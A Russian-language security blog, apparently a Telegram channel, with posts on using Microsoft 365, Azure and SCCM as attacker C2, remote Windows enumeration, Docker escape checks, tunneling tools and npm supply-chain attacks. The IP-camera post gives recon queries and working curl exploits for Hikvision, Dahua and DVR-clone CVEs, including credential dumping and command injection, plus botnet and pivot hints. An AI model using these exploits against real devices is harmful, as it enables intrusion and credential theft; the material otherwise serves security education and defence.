RedBlue Notes

Картинка не помещается 😭

Microsoft как C2: когда корпоративное облако начинает работать на атакующего

Пост имеет ознакомительный характер и предназначена для специалистов по безопасности. Автор и редакция не несут ответственности за любой вред, причиненный с применением изложенной информации. Распространение вредоносных программ, нарушение работы систем и нарушение тайны переписки преследуются по закону

Когда говорят про C2, в голове обычно возникает VPS, домен с подозрительным именем, HTTPS на нестандартном порту и какой-нибудь Beacon. Пища для размышления, а не инструкция по построению C2 или эксплуатации Microsoft-инфраструктуры. Иногда самый интересный инструмент атакующего, тот, который уже установлен у администратора. OneDrive / SharePoint 🔫 Идея проста: агент получает данные из облачного хранилища → выполняет действие → отправляет результат обратно. При этом сетевой трафик выглядит как обычная работа с Microsoft 365. Для исследования API можно встретить вполне штатные команды:

Connect-MgGraph -Scopes "Files.Read.All"
Get-MgDrive
Get-MgDriveChildItem -DriveId <ID> -DriveItemId <ID>

И вот здесь начинается интересная для SOC часть: важен не сам Microsoft Graph, а кто, откуда и зачем им пользуется. Например, PowerShell → Graph API → массовое чтение файлов с необычного хоста уже выглядит совсем иначе. Microsoft Graph 🧐 Graph особенно интересен тем, что это огромный API для Microsoft 365. Через него легитимные приложения работают с пользователями, группами, файлами, Teams и другими объектами. Для атакующего это потенциально удобный канал связи, потому что запросы идут к Microsoft API, а не к VPS.

Connect-MgGraph
Get-MgContext
Get-MgUser -Top 5

В реальном инциденте интерес представляют аномалии: один пользователь внезапно начинает работать с API с нового IP, приложение получает необычные OAuth-разрешения, появляется массовое обращение к Graph или меняется характер запросов. Microsoft Defender отдельно выделяет подозрительную активность через Entra Graph API как возможный C2-индикатор. Azure Storage 🍩 Для корпоративной сети обращение к Azure выглядит максимально обыденно. Более того, Microsoft сама использует Azure для компонентов Configuration Manager и других облачных сценариев. В атаке хранилище может использоваться как условная «почтовая ячейка»: файл появился → клиент забрал → обработал → положил результат. Azure CLI:

az login
az storage container list --account-name <account>

Посмотреть доступы текущего пользователя:

az role assignment list --all

или проверить назначения конкретного субъекта:

az role assignment list \
  --assignee <user-or-service-principal> \
  --all

Поэтому обнаруживать нужно не сам az.exe, а контекст его использования. Azure Run Command 🧛 Здесь мы уже переходим от транспорта к удалённому выполнению. Azure предоставляет штатный механизм Run Command, позволяющий администраторам выполнять команды на виртуальных машинах через установленный VM Agent. В нормальной работе это выглядит примерно так:

az vm run-command invoke `
  --resource-group <RG> `
  --name <VM> `
  --command-id RunPowerShellScript `
  --scripts "Get-Date"

А теперь SCCM 🤹 Configuration Manager изначально умеет доставлять файлы на рабочие станции и запускать их через механизм Package/Program. Например, администратор создаёт пакет:

New-CMPackage `
  -Name "Test Application" `
  -Path "\\SCCM-SRV\Packages\TestApp"

Затем создаём Program, который должен запустить EXE:

New-CMProgram `
  -PackageName "Test Application" `
  -StandardProgramName "Install" `
  -CommandLine "test.exe" `
  -RunMode RunWithAdministrativeRights `
  -UserInteraction $false

И после этого пакет можно отправить на коллекцию компьютеров:

New-CMPackageDeployment `
  -PackageName "Test Application" `
  -ProgramName "Install" `
  -CollectionName "Test Workstations" `
  -StandardProgram `
  -DeployPurpose Required

И именно здесь SCCM становится интересным с точки зрения Red Team. Если атакующий получает контроль над учётной записью, которой разрешено создавать или изменять deployments, ему потенциально не требуется отдельно подключаться к каждой рабочей станции. Он может использовать уже существующий механизм управления инфраструктурой. Вместо:

Attacker → PC01
Attacker → PC02
Attacker → PC03
...

Вывод 😛 Главная мысль здесь даже не в SCCM, Azure или Microsoft 365. Интерес представляет сама идея: для C2 и удалённого управления не всегда нужен собственный сервер и неизвестный сетевой протокол. В инфраструктуре уже есть десятки сервисов, которым разрешено общаться друг с другом, выполнять административные действия и передавать данные. Надо дать волю фантазии... Как обычно, букв получилось больше, чем хотелось ☕️ ГАЗ 10 лайков, и сделаем большой лсит по легитимным утилитам, которые можно встретить на хостах. Windows, AD, PowerShell, LOLBins, Microsoft, Azure, SCCM и ещё куча интересного и легитимного. Думайте, подписаться!

Ну, что я вам могу сказать в выходные, кроме как ГОООЛЬФ. Спустя месяц самостоятельных тренировок скажу, что бить я стал однозначно лучше и метче. На первом видео я даже попал мячиком в карзину, но этого не видно, потому что бью с холма

Побывал сегодня на закрытом митапе от Бизона. Они похвалились, что единственные, у кого EDR хорошо работает с маками. Ну а я рад, что у нас ИБ не стоит на месте. Ещё, у них вышло хорошее исследование на тему ИИ-агентов, оекомендую к ознакомлению

Мы на offzone 2026, тут всё, как всегда (почти). Уже привычная площадка, бесконечная погодня за наградой, ну и доклады

Windows без PsExec и WMI: необычных способы удалённого взаимодействия

Пост имеет ознакомительный характер и предназначена для специалистов по безопасности. Автор и редакция не несут ответственности за любой вред, причиненный с применением изложенной информации. Распространение вредоносных программ, нарушение работы систем и нарушение тайны переписки преследуются по закону

Когда говорят про удалённое взаимодействие с Windows, обычно вспоминают PsExec, WMI и WinRM. Но Windows гораздо интереснее. В ней есть множество RPC-интерфейсов и системных API, через которые можно получать информацию о машине, её конфигурации и состоянии — иногда вообще без запуска удалённой командной оболочки. Разберём несколько менее очевидных вариантов. Remote Registry 🔫 Windows позволяет обращаться к реестру удалённой машины через Remote Registry.

var key = RegistryKey.OpenRemoteBaseKey(
    RegistryHive.LocalMachine, "HOST");

foreach (var name in key.GetSubKeyNames())
    Console.WriteLine(name);

$base = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey(
    'LocalMachine','HOST')

$base.GetSubKeyNames()

Network access: Restrict clients allowed to make remote calls to SAM не настроена, это не означает, что любой удалённый пользователь сможет прочитать HKLM\SAM и HKLM\SECURITY. Microsoft указывает, что при ненастроенной RestrictRemoteSAM используется стандартный security descriptor, а по умолчанию удалённый доступ к SAM ограничивается администраторами. Думаю для красных намек понятен 🙂 Remote Event Log 👨‍💻 Журналы событий тоже можно читать удалённо.

Get-WinEvent -ComputerName HOST 
  -LogName System -MaxEvents 20

Get-WinEvent -ComputerName HOST 
  -FilterHashtable @{LogName='System';Level=2} - только ошибки

C# позволяет делать то же через EventLogSession и EventLogReader. Получается интересный канал DFIR: события можно получать напрямую из Event Log, не запуская shell. Service Control Manager 😑 SCM отвечает за Windows Services и также доступен удалённо.

Get-Service -ComputerName HOST

Можно искать необычные службы, стороннее ПО, подозрительные имена и сервисы, работающие от SYSTEM. Remote Task Scheduler 👀 Ладно, это уже ожидаемо и логично. Планировщик имеет собственный протокол удалённого взаимодействия.

schtasks /Query /S HOST /FO LIST

$s = New-Object -ComObject Schedule.Service
$s.Connect('HOST')
$s.GetFolder('\').GetTasks(0) |
  % Name

Особое внимание — задачам, запускающим программы из необычных директорий. RPC Endpoint Mapper 😓 И, пожалуй, самое интересное. TCP/135 — это не «RPC-сервис» в привычном смысле, а точка входа в RPC Endpoint Mapper. Упрощённо:

Client
  |
  | "Где интерфейс X?"
  v
Endpoint Mapper
  |
  v
RPC Server

Базовая проверка:

Test-NetConnection HOST -Port 135

Но 135/tcp сам по себе ещё ничего не говорит о том, какие RPC-интерфейсы доступны. RPC использует UUID, а среди интерфейсов Windows можно встретить:

Remote Registry
Service Control Manager
Task Scheduler
и другие системные RP

Почему это интересно 🫂 Все эти механизмы можно представить как отдельные окна в удалённую Windows-машину:

Registry       → конфигурация
Event Log      → события
SCM            → службы
Task Scheduler → persistence
Perf Counters  → состояние
Named Pipes    → IPC
RPC            → системные интерфейсы`

Для Red Team это дополнительные поверхности enumeration. Для Blue Team — источники телеметрии. А для Threat Hunting возникает отличный вопрос:

Кто, откуда и к какому интерфейсу Windows обращается удалённо. И нормально ли это для данного хоста?

Уязвим не nginx, а две строки вашего конфига. Разбираю CVE-2026-42945 на живом стенде Критическая уязвимость в nginx, 9.2 по CVSS, пролежала в коде восемнадцать лет, нашёл её не человек, а ИИ-агент, и ему хватило шести часов. В новостях к этому прилагается цифра: 5.7 миллиона серверов в интернете. А потом два независимых исследователя прогоняют сканеры по реальным конфигурациям nginx с гитхаба. Первый смотрит 1465 конфигов из 528 популярных репозиториев и не находит ни одного уязвимого в проде. Второй смотрит 35633 конфига и находит один, в заброшенном проекте 2011 года. Между “5.7 миллиона” и “один из тридцати пяти тысяч” разница в десятки тысяч раз. Я поднял стенд, чтобы понять, кто из них прав, и заодно проверить, лежит ли мой собственный сервер. Короткий ответ: правы оба, потому что считают разное. Длинный ответ ниже, вместе с командами, логами и скриптом, который проверит ваш конфиг за секунду. 🔗Ссылка: https://habr.com/ru/articles/1070120/

Ого! На нас подписан самый крутой чел в кибербезе 💗

Классный. Познавательный. Интересный. Это все про него — про райтап от MN3STRASHN0 🌟 В нем автор разбирает решение машины Rawmatex и показывает, как пройти путь от первичной разведки до получения финального флага.

По легенде, компания MetalliKO использует внутренний портал Rawmatex для отслеживания поставок сырья, заказов и связанных документов.

Цель решения — получить доступ к учетной записи администратора портала, изучить документы о поставках и экспортных контрактах, а затем найти флаг в одном из файлов. В процессе проведем разведку хоста, найдем SQL Injection, добудем данные из базы, восстановим пароль из bcrypt-хэша и исследуем документы внутри портала 🔍 Продолжение и все подробности — в источнике на Хабре. А после заходи на Standoff Hackbase и применяй полученные знания на практике 🤔 #райтап@standoff_365

Советуем почитать райтап одного из наших хороших знакомых! Без нас, конечно, и тут не обошлось, ну а чё делать 😛

КАМЕРЫ НАБЛЮДЕНИЯ - ТИХИЙ ФРОНТ КИБЕРАТАК IP-камеры 📷 - никсы с RTSP и веб-сервером. Миллионы устройств Hikvision, Dahua, Axis и их OEM-клонов торчат в интернет с прошивками 2017–2021 годов. И злоумышленники этим активно пользуются. Мой любимый реальный кейс - это когда у APT была наводка, что пароли пишут на маркерной доске, но её закрывал открытый шкаф, который несколько месяцев не закрывали, и вот APT ждали пару месяцев, пока шкаф закроют. Дождались. Взломали инфру.

Пост имеет ознакомительный характер и предназначена для специалистов по безопасности. Автор и редакция не несут ответственности за любой вред, причиненный с применением изложенной информации. Распространение вредоносных программ, нарушение работы систем и нарушение тайны переписки преследуются по закону

РАЗВЕДКА 🎣 Начнём с малого, все их знают, все ими пользуются, как говориться, вот они слева направо - shodan, nmap и masscan, выбирайте тот, который вам больше по душе:

shodan search "App-webs" "Hikvision" country:US
shodan search "Dahua" port:37777
shodan search "Server: Netwave IP Camera"

nmap -sV -p 80,443,554,8000,8080,37777,34567 10.0.0.0/24
nmap --script http-vuln* -p 80,8080 192.168.1.100

masscan 203.0.113.0/24 -p80,554,8000,37777 --rate 2000

Для инфо, порт 37777 - относится к Dahua, а  34567 - к ISAPI УЯЗВИМОСТИ ПО ВЕНДОРАМ 🪙 Когда найдёте камеры - смотрите на вендоров, самые вкусны уязы по ним я заботливо указал ниже. Hikvision (DS-2CD2xx, DS-2DE4xx, DS-76xxNI NVR): - CVE-2017-7921 — обход auth, утечка /Security/users и config с хэшами паролей - CVE-2021-36260 — RCE через command injection в device.rsp и метод PUT - CVE-2023-28815 — stack overflow в старых версиях NVR DS-7600/7700/9600 Dahua (IPC-HFW, IPC-HDW, XVR5108/5116): - CVE-2021-33044 / CVE-2021-33045 — auth bypass через NetUser/LogicDevice - CVE-2022-3056 — hardcoded credentials в прошивках до 2022.08 Axis (M3045-V, P3225, Q1615): - CVE-2018-10661 — auth bypass в libcurl-компоненте - CVE-2023-21482 — path traversal в ACAP-приложениях OEM и клоны (TBK, Novo, CeNova, QSee): - CVE-2018-9995 — bypass через Cookie: uid=admin на /device.rsp ThroughTek Kalay P2P (Reolink, Wyze OEM, десятки брендов): - CVE-2021-28372 — перехват UID, доступ к RTSP без auth ЭКСПЛУАТАЦИЯ 🔓 Самые простые уязы я расписал ниже, для понимания того, насколько легко атаковать старые камеры CVE-2017-7921 — Hikvision, dump credentials:

curl -s "http://192.168.1.100/Security/users?auth=YWRtaW46MTEK"
curl -s "http://192.168.1.100/System/configurationFile?auth=YWRtaW46MTEK" -o config.bak

CVE-2021-36260 — Hikvision RCE:

curl -X PUT "http://192.168.1.100/SDK/webLanguage" \
-d '<?xml version="1.0"?><language>$(id>/tmp/pwned)</language>'
curl -s "http://192.168.1.100/pwned"

или

use exploit/linux/http/hikvision_unauth_rce_cve_2021_36260

CVE-2021-33044 — Dahua auth bypass:

curl -X POST "http://192.168.1.101:80/RPC2_Login" \
-H "Content-Type: application/json" \
-d '{"method":"global.login","params":{"userName":"admin","password":"","clientType":"NetKeyboard"},"id":10000}'

CVE-2018-9995 — TBK/DVR clones:

curl -s "http://192.168.1.102/device.rsp?opt=user&cmd=list" \
-H "Cookie: uid=admin"

ПОСТЭКСПЛУАТАЦИЯ 🗡 То, что мы получили шэл на камере - это конечно круто, но что дальше? Как говорится, следите за руками: pivot в VLAN через ONVIF -> NVR -> Active Directory, ну или просто в свой ботнет добавить 📀. ONVIF (порт 80/8080, UDP 3702 для WS-Discovery) - стандарт управления IP-камерами. Через него NVR может делать следующее: - находить камеры в сети - получать RTSP-URL и учётки - менять конфигурацию - иногда хранит централизованные credentials ЗАЩИТА 🛡 Хакеров задобрили, пора уделить время и защитникам, вот пара рекомендация для вас: 1. Камеры держите в отдельном изолированном VLAN, 2. На СЗИ запретите исходящий интернет-трафик к сети с камерами 3. Регулярно обновляйте ПО на камерах 4. Отключите P2P/UPnP/Cloud если не нужны 5. Установите MFA на NVR и смена дефолтные пароли Подписывайтесь на канал, ставьте класы 👍

Docker Escape: что искать внутри контейнера

Пост имеет ознакомительный характер и предназначена для специалистов по безопасности. Автор и редакция не несут ответственности за любой вред, причиненный с применением изложенной информации. Распространение вредоносных программ, нарушение работы систем и нарушение тайны переписки преследуются по закону

Если вы уже внутри контейнера, это еще не значит, что история закончилась. В реальных инцидентах контейнер часто оказывается не крепостью, а тонкой перегородкой. И если в ней есть ошибки, путь к хосту может оказаться намного короче, чем кажется. Docker Socket: самая опасная находка 🧛

ls -la /var/run/docker.sock

Если внутри контейнера есть docker.sock, это почти всегда тревожный сигнал. Такой сокет не просто файл, а способ общаться с Docker на хосте. На практике это означает, что контейнер может получить слишком много власти над системой, на которой он запущен. Это один из первых признаков того, что изоляция нарушена. Когда прав у малого слишком много 😮

cat /proc/self/status | grep Cap
capsh --print

Здесь важно понять, какими правами реально обладает процесс. Если в списке видны мощные capability вроде SYS_ADMIN, это уже не обычный контейнерный режим. Такие права сильно расширяют возможности процесса и делают последствия компрометации куда серьезнее. Проще говоря, чем больше привилегий внутри контейнера, тем меньше он похож на обычную песочницу. Точки монтирования: что контейнеру видно с хоста 😑

cat /proc/mounts

Такие команды показывают, какие каталоги подключены внутрь контейнера. Если в списке появляются неожиданные пути вроде /, /etc, /home или другие чувствительные области, это означает, что контейнер видит больше, чем должен. А значит, при ошибке в приложении можно получить доступ уже не только к данным контейнера, но и к важным файлам хоста. Устройства в /dev: лишнее лучше не отдавать 👨‍💻 Каталог /dev тоже многое рассказывает о конфигурации. В нормальной ситуации контейнеру не нужен широкий доступ к устройствам хоста. Если их слишком много, это повод задуматься, зачем они были проброшены. Чем больше устройств доступно процессу, тем шире поверхность атаки и тем больше неожиданных способов воздействия на систему. Кто я внутри контейнера 👀 Если процесс работает от имени root, это еще не значит, что контейнер уже «сломался». Но это сильно повышает цену любой ошибки. В таком режиме многие ограничения становятся слабее, а последствия проблем с конфигурацией тяжелее. Если контейнер еще и получил лишние права, риск быстро вырастает до уровня инцидента на всем сервере. Вывод 🍩 Аудит Docker-контейнера всегда начинайте не с приложения, а с изоляции. Смотрите, есть ли docker.sock, какие capability выданы процессу, что смонтировано внутрь и какие устройства доступны. Именно эти детали чаще всего и показывают, насколько контейнер действительно защищен. Мануал по контейнерам хотите? Классов накидайте пж 🙂 Подписывайтесь на канал

Standoff 17 Раньше я посезал Standoff как зритель, но в этом году удалось поучаствовать в кибербитве. Сидел на банковском сегменте, было очень интересно, потому что до этого у меня не было опыта атаки банковского сектора, но не смотря на это удалось сделать пару критов. А сегодня под финал заехал на Standoff Talks посмотреть на полигон в кибердом

Снова удалось побывать на Assume Breach — безумно классное мероприятие, рад, что звёзды сошлись 🍩 Как обычно, было много интересных докладов. Первый, от Яндекса, оказался не совсем моей темой и довольно сложным для восприятия. Очень низкоуровнево, бутлоадеры, secure boot и всё такое. А вот доклад про то, как один атакующий получил доступ сразу к двум компаниям, очень зашёл: в одной был мониторинг, в другой нет, и результат получился показательным 🙂 Ну и по классике, хорошие шутки, живые разговоры, мерч. Желаю каждому раздобыть проходку на мероприятие некоммерческое, докладов реально много и по делу. А аудитория — сказка. Посты будут, скоро 🧛

Интересные туннели, которые всё чаще появляются в отчётах В последнее время всё чаще стал замечать в отчётах по пентестам, подломам новые инструменты для туннелирования. Если раньше почти везде встречались Chisel, FRP, Ligolo-NG и другие известные решения, то сейчас появляются совсем другие проекты. Самое интересное, что многие из них изначально создавались вовсе не для пентестеров. Это полноценные платформы для удалённого доступа, Zero Trust и построения mesh-сетей. OpenZiti -> ZeroTrust круто 🧛 Если коротко — это попытка переосмыслить саму концепцию удалённого доступа. Вместо публикации сервисов во внутренней сети OpenZiti строит оверлейную инфраструктуру, где доступ определяется не IP-адресами, а идентичностью клиента. Но именно такие инструменты становятся всё интереснее для Red Team. Получив доступ к хосту, оператор может встроить его в собственную оверлейную сеть, которая практически не похожа на классический туннель. NetBird 💃 Автоматически строит mesh-сеть между узлами и избавляет оператора от значительной части ручной настройки маршрутов и связности. Если старые инструменты решали задачу доступа из точки А в точку Б, то здесь подход ближе к концепции "подключил узел и он стал частью сети". Именно поэтому подобные решения всё чаще появляются в отчетах. Чем меньше ручной настройки требуется оператору, тем быстрее развивается атака после первоначального компрометации. Что это означает для Blue Team? 🍞 Это отражает общий тренд, что злоумышленники стараются максимально сливаться с инфраструктурой компании, используя повседневные утилиты и сервисы, чтобы как можно дольше оставаться незамеченными и выглядеть как обычные сотрудники. Без хитрых утилит и специального софта. На Подумать 🧐 В целом это не история про OpenZiti, NetBird или какой-то конкретный инструмент. Уже несколько лет в ИБ наблюдается устойчивый тренд, что злоумышленники всё чаще отказываются от специализированного инструментария в пользу легитимных решений, которые уже используются в инфраструктуре компании. Такой подход позволяет им сливаться с обычной активностью пользователей и администраторов, дольше оставаться незамеченными и усложнять работу SOC и DFIR-команд. И это не удел АРТ группировок, а уже практически всех, Velociraptor тому пример.

Атака на цепочку поставок: как один npm роняет полмира Окей, представьте сценарий мечты для злоумышленника. Он не ломает периметр жертвы. Он вообще к нему не прикасается. Он просто отравляет то, что жертва сама скачает и запустит у себя в проде. Налил яд в источник, а дальше тысячи разработчиков выстроились в очередь попить.Это и есть атака на цепочку поставок (supply chain attack). И в 2025–2026 она переехала из отчётов про APT-группировки в категорию «обычный вторник». Суть на пальцах ☝️ Supply chain переворачивает доску. Зачем ломать тысячу компаний поштучно, если можно скомпрометировать одно звено, которому все эти компании доверяют: библиотеку, обновление, CI/CD-пайплайн. Дальше работает гравитация экосистемы, жертвы сами притянут вредонос через npm install или автообновление. Доверие и есть вектор атаки. Красиво, если смотреть со стороны атакующего. Почему open-source — это праздник для атакующего 🧛 Современное приложение — это 5% своего кода и 95% чужого. Ставишь один фреймворк, он тянет 40 пакетов, каждый тянет ещё. В node_modules вырастает небоскрёб из сотен библиотек, которые никто не видел и проверять не собирался. Утилитка для раскраски текста в консоли может оказаться несущей стеной половины индустрии. Математика атакующего проста: отрави один популярный пакет, получи доступ к тысячам приложений ниже по течению. Прилетит даже тем, кто этот пакет в глаза не видел. Разбор полётов: атака на chalk и debug 🤹 8 сентября 2025 года. Учебник, который стоит разобрать по шагам. Шаг 1, подготовка. За три дня до атаки регистрируется домен npmjs.help. Выглядит как родной npm. Но это не он. Шаг 2, фишинг. Мейнтейнеру пачки популярных пакетов прилетает убедительное письмо с адреса support@npmjs.help, мол, срочно сбрось 2FA. Человек вводит логин, пароль и живой TOTP-код. Аккаунт угнан. Всё. Шаг 3, спидран. Примерно через 16 минут после захвата аккаунта публикуются вредоносные версии 18 пакетов: chalk, debug, ansi-styles, strip-ansi и компания. Суммарно около 2 млрд загрузок в неделю. Шестнадцать минут. Люди дольше кофе варят. Шаг 4, полезная нагрузка. Внутри обфусцированный JS-стилер. Он перехватывал браузерные API (fetch, XMLHttpRequest) и крипто-кошельки (window.ethereum, Solana), молча подменяя адреса получателей в транзакциях. Юзер видит «нормальную» транзакцию, а деньги едут к атакующему. И вишенка: спалил атаку сам вредонос. Он дёргал браузерный fetch(), которого в Node.js нет, и серверные сборки начали падать с ошибкой ReferenceError: fetch is not defined. Пейлоад стал лучшим индикатором компрометации. Откуда хайп: эпоха червей 🔫 Хайп раздули не стилеры, а самораспространяющиеся черви. Червь Shai-Hulud угонял токены публикации и заражал ими новые пакеты от имени новых жертв. Цепная реакция: 500+ пакетов в первой волне. И понеслось: Shai-Hulud 2.0, «Mini Shai-Hulud». 11 мая 2026 года группировка TeamPCP за шесть минут опубликовала 84 вредоносные версии 42 пакетов @tanstack, кампания расползлась на Mistral AI, UiPath, OpenSearch и PyPI. Новые варианты обзавелись демоном, который при отзыве токена пытается снести домашнюю директорию через rm -rf. Темп такой, что список заражённых пакетов устаревает, пока его дочитываешь. Как защититься 🍩 🔒 Зафиксируйте версии. Lockfile с хэшами. Кто запиннил зависимости, тот очередную волну проспал, в хорошем смысле. ⏳ Cooldown. Не тащите версию младше нескольких дней. Вредонос обычно отзывают за часы. 🚫 Выключите install-скрипты в CI. npm ci --ignore-scripts. Большинство пейлоадов исполняется в preinstall/postinstall. 📋 Заведите SBOM. На новость «заражён пакет X» ответ «есть ли он у нас» должен искаться минуты, а не дни. 🔑 Защитите publish-токены. Аппаратные ключи вместо SMS, trusted publishing через OIDC, ротация секретов. 🤖 Сканируйте зависимости. SCA в пайплайне плюс baseline. 🧯 План реагирования заранее. Изолированный билд-агент, процедура массовой ротации, ответственный. Подписывайтесь на канал, дальше больше!